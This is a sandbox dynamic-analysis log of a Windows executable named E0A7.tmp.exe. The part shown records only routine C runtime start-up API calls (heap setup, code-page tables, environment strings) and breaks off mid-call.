# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: May 3 2019 14:51:36 # Log Creation Date: 05.05.2019 18:38:35.323 Process: id = "1" image_name = "e0a7.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e0a7.tmp.exe" page_root = "0x3f3be000" os_pid = "0x8e8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x8ec [0041.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xd613e710, dwHighDateTime=0x1d50371)) [0041.771] GetCurrentProcessId () returned 0x8e8 [0041.771] GetCurrentThreadId () returned 0x8ec [0041.771] GetTickCount () returned 0x1ab4b [0041.771] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=16164881428) returned 1 [0041.802] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0041.802] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2a0000 [0041.804] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0041.804] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0041.804] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0041.804] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0041.804] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0041.804] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0041.804] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0041.805] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0041.805] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0041.805] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0041.805] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0041.805] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0041.805] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0041.805] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0041.805] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0041.806] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0041.806] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0041.806] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0041.806] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0041.806] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0041.806] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0041.807] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x214) returned 0x2a07d0 [0041.807] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0041.807] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0041.807] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0041.807] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0041.807] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0041.807] GetCurrentThreadId () returned 0x8ec [0041.807] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0041.807] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x800) returned 0x2a09f0 [0041.808] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0041.808] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0041.808] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0041.808] SetHandleCount (uNumber=0x20) returned 0x20 [0041.808] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe\" " [0041.808] GetEnvironmentStringsW () returned 0x671d30* [0041.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0041.808] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x565) returned 0x2a11f8 [0041.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2a11f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0041.808] FreeEnvironmentStringsW (penv=0x671d30) returned 1 [0041.808] GetLastError () returned 0x0 [0041.808] SetLastError (dwErrCode=0x0) [0041.808] GetLastError () returned 0x0 [0041.808] SetLastError (dwErrCode=0x0) [0041.808] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.809] GetACP () returned 0x4e4 [0041.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x220) returned 0x2a1768 [0041.809] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.809] IsValidCodePage (CodePage=0x4e4) returned 1 [0041.809] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.809] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0041.809] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.809] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0041.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0041.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0041.809] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0041.809] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.809] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0041.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0041.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr) returned 256 [0041.809] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr, cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0041.809] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr, cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0041.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xd1\xcd\x4a\x15\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0041.809] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0041.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr) returned 256 [0041.810] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr, cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0041.810] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr, cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0041.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xd1\xcd\x4a\x15\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0041.810] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x46d238, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e0a7.tmp.exe")) returned 0x32 [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.812] SetLastError (dwErrCode=0x0) [0041.812] GetLastError () returned 0x0 [0041.812] SetLastError (dwErrCode=0x0) [0041.812] GetLastError () returned 0x0 [0041.812] SetLastError (dwErrCode=0x0) [0041.812] GetLastError () returned 0x0 [0041.812] SetLastError (dwErrCode=0x0) [0041.812] GetLastError () returned 0x0 [0041.812] SetLastError (dwErrCode=0x0) [0041.812] GetLastError () returned 0x0 [0041.812] SetLastError (dwErrCode=0x0) [0041.812] GetLastError () returned 0x0 [0041.812] SetLastError (dwErrCode=0x0) [0041.812] GetLastError () returned 0x0 [0041.812] SetLastError (dwErrCode=0x0) [0041.812] GetLastError () returned 0x0 [0041.812] SetLastError (dwErrCode=0x0) [0041.812] GetLastError () returned 0x0 [0041.812] SetLastError (dwErrCode=0x0) [0041.812] GetLastError () returned 0x0 [0041.812] SetLastError (dwErrCode=0x0) [0041.812] GetLastError () returned 0x0 [0041.813] SetLastError (dwErrCode=0x0) [0041.813] GetLastError () returned 0x0 [0041.813] SetLastError (dwErrCode=0x0) [0041.813] GetLastError () returned 0x0 [0041.813] SetLastError (dwErrCode=0x0) [0041.813] GetLastError () returned 0x0 [0041.813] SetLastError (dwErrCode=0x0) [0041.813] GetLastError () returned 0x0 [0041.813] SetLastError (dwErrCode=0x0) [0041.813] GetLastError () returned 0x0 [0041.813] SetLastError (dwErrCode=0x0) [0041.813] GetLastError () returned 0x0 [0041.813] SetLastError (dwErrCode=0x0) [0041.813] GetLastError () returned 0x0 [0041.813] SetLastError (dwErrCode=0x0) [0041.813] GetLastError () returned 0x0 [0041.813] SetLastError (dwErrCode=0x0) [0041.813] GetLastError () returned 0x0 [0041.813] SetLastError (dwErrCode=0x0) [0041.813] GetLastError () returned 0x0 [0041.813] SetLastError (dwErrCode=0x0) [0041.814] GetLastError () returned 0x0 [0041.814] SetLastError (dwErrCode=0x0) [0041.814] GetLastError () returned 0x0 [0041.814] SetLastError (dwErrCode=0x0) [0041.814] GetLastError () returned 0x0 [0041.814] SetLastError (dwErrCode=0x0) [0041.814] GetLastError () returned 0x0 [0041.814] SetLastError (dwErrCode=0x0) [0041.814] GetLastError () returned 0x0 [0041.814] SetLastError (dwErrCode=0x0) [0041.814] GetLastError () returned 0x0 [0041.814] SetLastError (dwErrCode=0x0) [0041.814] GetLastError () returned 0x0 [0041.814] SetLastError (dwErrCode=0x0) [0041.814] GetLastError () returned 0x0 [0041.814] SetLastError (dwErrCode=0x0) [0041.814] GetLastError () returned 0x0 [0041.814] SetLastError (dwErrCode=0x0) [0041.814] GetLastError () returned 0x0 [0041.814] SetLastError (dwErrCode=0x0) [0041.814] GetLastError () returned 0x0 [0041.815] SetLastError (dwErrCode=0x0) [0041.815] GetLastError () returned 0x0 [0041.815] SetLastError (dwErrCode=0x0) [0041.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b) 